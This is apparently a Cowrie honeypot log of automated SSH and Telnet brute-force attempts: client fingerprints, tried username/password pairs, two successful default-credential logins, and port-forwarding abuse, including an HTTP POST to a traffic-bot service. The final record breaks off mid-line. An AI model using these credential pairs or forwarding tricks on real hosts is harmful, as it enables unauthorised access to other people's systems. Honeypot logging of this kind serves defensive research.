{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:29.486310Z","src_ip":"87.251.64.176","session":"e525ef537488","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:29.792444Z","src_ip":"87.251.64.176","session":"e525ef537488","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:29.902466Z","session":"e525ef537488","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:30.015838Z","src_ip":"87.251.64.176","session":"e525ef537488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:30.136694Z","src_ip":"87.251.64.176","session":"e525ef537488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.4","message":"Connection lost after 28.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:30.665146Z","src_ip":"23.148.145.132","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":59686,"dst_ip":"159.203.135.109","dst_port":22,"session":"db24260e1925","protocol":"ssh","message":"New connection: 103.60.242.169:59686 (159.203.135.109:22) [session: db24260e1925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:35.427724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:35.432054Z","src_ip":"103.60.242.169","session":"db24260e1925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:35.676113Z","src_ip":"103.60.242.169","session":"db24260e1925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin321","message":"login attempt [root/Admin321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:36.685048Z","src_ip":"103.60.242.169","session":"db24260e1925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:37.932374Z","src_ip":"103.60.242.169","session":"db24260e1925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39976,"dst_ip":"10.17.0.5","dst_port":23,"session":"34bd8ecfa7f3","protocol":"telnet","message":"New connection: 94.23.66.112:39976 (10.17.0.5:23) [session: 34bd8ecfa7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:40.921573Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":41398,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d96adf0e01","protocol":"telnet","message":"New connection: 94.23.66.112:41398 (10.17.0.5:23) [session: 51d96adf0e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:43.157706Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":54450,"dst_ip":"10.17.0.5","dst_port":22,"session":"95a87d8b22f1","protocol":"ssh","message":"New connection: 194.113.233.25:54450 (10.17.0.5:22) [session: 95a87d8b22f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:45.532070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:45.537544Z","src_ip":"194.113.233.25","session":"95a87d8b22f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:45.626140Z","src_ip":"194.113.233.25","session":"95a87d8b22f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":49812,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e74d8838a4e","protocol":"ssh","message":"New connection: 101.79.165.43:49812 (159.203.135.109:22) [session: 1e74d8838a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:45.865928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:45.870034Z","src_ip":"101.79.165.43","session":"1e74d8838a4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"30061984","message":"login attempt [root/30061984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:45.896097Z","src_ip":"194.113.233.25","session":"95a87d8b22f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:46.088199Z","src_ip":"101.79.165.43","session":"1e74d8838a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:46.988086Z","src_ip":"194.113.233.25","session":"95a87d8b22f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anes","password":"anes","message":"login attempt [anes/anes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:46.995491Z","src_ip":"101.79.165.43","session":"1e74d8838a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.93609309196472,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:47.307419Z","src_ip":"172.81.62.90","session":"fb2d544a68df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:48.217224Z","src_ip":"101.79.165.43","session":"1e74d8838a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":22259,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c3714ae39e7","protocol":"ssh","message":"New connection: 49.247.37.22:22259 (159.203.135.109:22) [session: 0c3714ae39e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:52.167789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:52.172198Z","src_ip":"49.247.37.22","session":"0c3714ae39e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:52.383797Z","src_ip":"49.247.37.22","session":"0c3714ae39e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123","message":"login attempt [t1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:53.245033Z","src_ip":"49.247.37.22","session":"0c3714ae39e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:54.455121Z","src_ip":"49.247.37.22","session":"0c3714ae39e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42402,"dst_ip":"159.203.135.109","dst_port":23,"session":"9965809a68bb","protocol":"telnet","message":"New connection: 172.81.62.90:42402 (159.203.135.109:23) [session: 9965809a68bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:03.097287Z"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":52789,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb10cb324611","protocol":"ssh","message":"New connection: 63.141.242.2:52789 (10.17.0.5:22) [session: bb10cb324611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:05.811666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:05.816422Z","src_ip":"63.141.242.2","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:05.871733Z","src_ip":"63.141.242.2","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41088,"dst_ip":"159.203.135.109","dst_port":23,"session":"db4173a9df25","protocol":"telnet","message":"New connection: 172.81.62.90:41088 (159.203.135.109:23) [session: db4173a9df25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:07.113584Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:07.270209Z","src_ip":"63.141.242.2","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41100,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d67799676d8","protocol":"telnet","message":"New connection: 172.81.62.90:41100 (159.203.135.109:23) [session: 8d67799676d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:10.413076Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:19.013347Z","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:19.049543Z","src_ip":"63.141.242.2","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.182 Mobile/19B81 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=U3psdG1aXmYzbD50YkAmcg%3D%3Drtt7lE4ajrJmOo8rL7C7oOYhvhGZbKYTywyNe5ptNdA2SunWfZ2IQioeJXh9qEEb0GyBmpZeH4jDvUq2pzgGxRdp0By9aD6DgyKQfE15OEIG0AtjI5LlyurywvalvJMzCRZgUnL%2BY%2B6WtacMu0rntmYbzuquLDW6L9AWZwjpVelN5zpyCzr3GAArw%2FiGTqBbn6Gn%2FwnrAmYwLYgXgO5OR0ciMFc0TjL%2FnNPs0eztzK%2B9IYkDGS4GTzNPisdFxAZFQcbOjeCVnRemLaJvifKq0aGMhZ2643NSv8eVATgHNxTZwv5vmVUJdSyyGqmMxVBf6%2BwPDJYugEpHxQqNUIFNPuc66g5Q6RHRsmBWYjcHpNJwz2tLHCRFg1wjB7WqFrjmK5GI3nX3OuXfXR%2FCb3DCeVpn8qMu%2BM%2B8YCLBIX7uuhhfHgvd%2BGMtvMro3qBLoAiQZN5ijBp99d6VWMUovife2qTC2DvPkvG3hMS9T9qs8T3S%2FARDqWMJuofGhdt44XVP9XBNwTVrtu9cc5WwTzHBfat4Oxtbj7qss5R6D8nvzAoEaFqtBK%2BpBdVTubNpp3XD6berAr2sHC3H4m546ORImfznbNw3lRyx4Bj9ckHs9xHBXfOwXy2AGFPAcHlj1iWxT9jAOzrdFU%2BCxPUR48vSpbmkoB65Zd%2BTuh5PLBQu81cfxyr9kPDxjQvJfSGSerteOe9eBmaLS%2BqTD0qS5l7O6ACFaG6xdwgiwMqCHHvlfYLFBGzOBrZpeu8ZXQvq63HW9MOUAiLU2MJ7KGmLnyTsJTYZfIe9zZ42p3XYm5w7fgnSPb%2FG2WdS%2F24YOviPulwZe5lcFwo8eLvTYC%2B9AnQhP9zp%2FnOXpKv9%2BPbAYGK4bxiFKlVS10HpObFQp6x1lTDYzWfKptf1I5iF0tV50Vh0Dlo%2Fmyko%2FlolwQxDhwA76Gb6FBe0iboYnoU%2FzFFC%2B7Geb70yg0X%2Bgmyk0CFQ9z8h1TlsyDFZCDskL3F7fqOIit%2BKEpwJjMIejphWHHpq3mEXztZ%2BxUPIP1WFCUgZB0ZWXIDHUvqM91KPAn4QhpNxqGE%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.182 Mobile/19B81 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=U3psdG1aXmYzbD50YkAmcg%3D%3Drtt7lE4ajrJmOo8rL7C7oOYhvhGZbKYTywyNe5ptNdA2SunWfZ2IQioeJXh9qEEb0GyBmpZeH4jDvUq2pzgGxRdp0By9aD6DgyKQfE15OEIG0AtjI5LlyurywvalvJMzCRZgUnL%2BY%2B6WtacMu0rntmYbzuquLDW6L9AWZwjpVelN5zpyCzr3GAArw%2FiGTqBbn6Gn%2FwnrAmYwLYgXgO5OR0ciMFc0TjL%2FnNPs0eztzK%2B9IYkDGS4GTzNPisdFxAZFQcbOjeCVnRemLaJvifKq0aGMhZ2643NSv8eVATgHNxTZwv5vmVUJdSyyGqmMxVBf6%2BwPDJYugEpHxQqNUIFNPuc66g5Q6RHRsmBWYjcHpNJwz2tLHCRFg1wjB7WqFrjmK5GI3nX3OuXfXR%2FCb3DCeVpn8qMu%2BM%2B8YCLBIX7uuhhfHgvd%2BGMtvMro3qBLoAiQZN5ijBp99d6VWMUovife2qTC2DvPkvG3hMS9T9qs8T3S%2FARDqWMJuofGhdt44XVP9XBNwTVrtu9cc5WwTzHBfat4Oxtbj7qss5R6D8nvzAoEaFqtBK%2BpBdVTubNpp3XD6berAr2sHC3H4m546ORImfznbNw3lRyx4Bj9ckHs9xHBXfOwXy2AGFPAcHlj1iWxT9jAOzrdFU%2BCxPUR48vSpbmkoB65Zd%2BTuh5PLBQu81cfxyr9kPDxjQvJfSGSerteOe9eBmaLS%2Bq